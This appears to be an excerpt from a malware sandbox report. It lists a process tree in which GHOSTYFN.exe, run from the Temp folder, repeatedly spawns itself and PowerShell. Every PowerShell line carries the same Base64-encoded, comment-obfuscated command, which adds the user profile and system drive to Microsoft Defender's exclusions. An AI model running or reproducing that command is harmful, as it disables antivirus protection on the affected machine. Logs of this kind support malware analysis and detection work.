        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        16⤵
        
        PID:3744
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        16⤵
        
        PID:2052
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        17⤵
        
        PID:2804
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        17⤵
        
        PID:3272
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        18⤵
        
        PID:1908
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        18⤵
        
        PID:4160
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        19⤵
        
        PID:5160
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        19⤵
        
        PID:5168
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        20⤵
        
        PID:5428
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        20⤵
        
        PID:5436
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        21⤵
        
        PID:5740
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        21⤵
        
        PID:5756
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        22⤵
        
        PID:5968
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        22⤵
        
        PID:6080
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        23⤵
        
        PID:5288
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        23⤵
        
        PID:5196
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        24⤵
        
        PID:5628
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        24⤵
        
        PID:5516
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        25⤵
        
        PID:2980
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        25⤵
        
        PID:6092
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        26⤵
        
        PID:912
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        27⤵
        
        PID:4148
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        26⤵
        
        PID:4596
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        27⤵
        
        PID:2004
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        27⤵
        
        PID:5188
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        28⤵
        
        PID:5680
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        28⤵
        
        PID:6028
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        29⤵
        
        PID:3300
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        29⤵
        
        PID:6172
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        30⤵
        
        PID:6360
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        30⤵
        
        PID:6408
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        31⤵
        
        PID:6660
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        31⤵
        
        PID:6684
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        32⤵
        
        PID:6864
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        32⤵
        
        PID:6916
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        33⤵
        
        PID:7092
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        33⤵
        
        PID:7108
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        34⤵
        
        PID:5228
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        34⤵
        
        PID:4084
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        35⤵
        
        PID:6860
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        35⤵
        
        PID:6704
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        36⤵
        
        PID:6028
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        36⤵
        
        PID:6620
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        37⤵
        
        PID:6208
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        37⤵
        
        PID:640
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        38⤵
        
        PID:5952
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        38⤵
        
        PID:4828
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        39⤵
        
        PID:5700
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        39⤵
        
        PID:4032
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        40⤵
        
        PID:2592
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        40⤵
        
        PID:3180
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        41⤵
        
        PID:5884
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        41⤵
        
        PID:1624
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        42⤵
        
        PID:1784
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        43⤵
        
        PID:4016
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        42⤵
        
        PID:3932
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        43⤵
        
        PID:7324
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        43⤵
        
        PID:7356
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        44⤵
        
        PID:7588
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        44⤵
        
        PID:7684
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        45⤵
        
        PID:7856
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        45⤵
        
        PID:7868
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        46⤵
        
        PID:8184
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        46⤵
        
        PID:4272
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        47⤵
        
        PID:7228
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        47⤵
        
        PID:6948
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
